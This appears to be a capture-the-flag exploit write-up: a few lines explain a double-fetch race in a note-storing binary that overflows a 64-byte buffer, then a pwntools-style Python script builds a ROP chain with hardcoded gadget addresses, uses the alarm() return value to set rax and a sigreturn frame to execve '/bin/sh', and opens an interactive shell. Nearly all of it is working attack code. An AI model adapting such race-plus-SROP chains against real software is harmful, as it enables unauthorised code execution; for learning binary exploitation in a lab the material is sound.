- Double Fetch race condition in Store note when the 2nd thread does a size check and copies input from shared memory into buf[64].
- Overwriting size during the race window leads to buffer overflow.
- read "/bin/sh\x00" into bss using read_input function.
- Calling alarm() twice will return the number of seconds remaining.
- Set rax to 0x3b using alarm.
- Now SROP to do execve("/bin/sh\x00",0,0).
def encrypt(ptr):
key = "2111485077978050"
text = ptr
for i in range(len(text)):
text[i] = text[i] ^ ord(key[i % 16])
def dump(payload):
sla(": ","5")
sla("ID: ","1")
sla('Content: ',payload)
def store(id,name,size,content):
sla(': ','1')
sla('ID: ',str(id))
sla('Name: ',str(name))
sla('Size: ',str(size))
sla('Content: ',str(content))
def upgarde(size):
sla(': ','4')
sla("Size: ",str(size))
#Gadgets and functions
alarm = p64(0x0000000000401060)
read_input = p64(0x4013d6)
bss = p64(0x0000000000404020)
pop_rdi = p64(0x0000000000401bc0)
syscall = p64(0x0000000000401bc2)
ret = p64(0x000000000040101a)
#Sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x0000000000401bc2
frame.rax = 0x3b
frame.rdi = 0x0000000000404020
frame.rsi = 0x0
frame.rdx = 0x0
payload = b"A"*72 + pop_rdi + bss + read_input
payload += pop_rdi + p64(0xf) + alarm + pop_rdi + p64(0x0) + alarm + syscall + bytes(frame)
payload = bytearray(payload)
encrypt(payload)
dump(payload)
store(1,"A",10,"AA")
sleep(5)
store(1,"A",10,"AA")
sleep(2.5)
upgarde(1000)
sleep(5)
sl("bruh")
sleep(2)
sl("/bin/sh\x00")
r.interactive()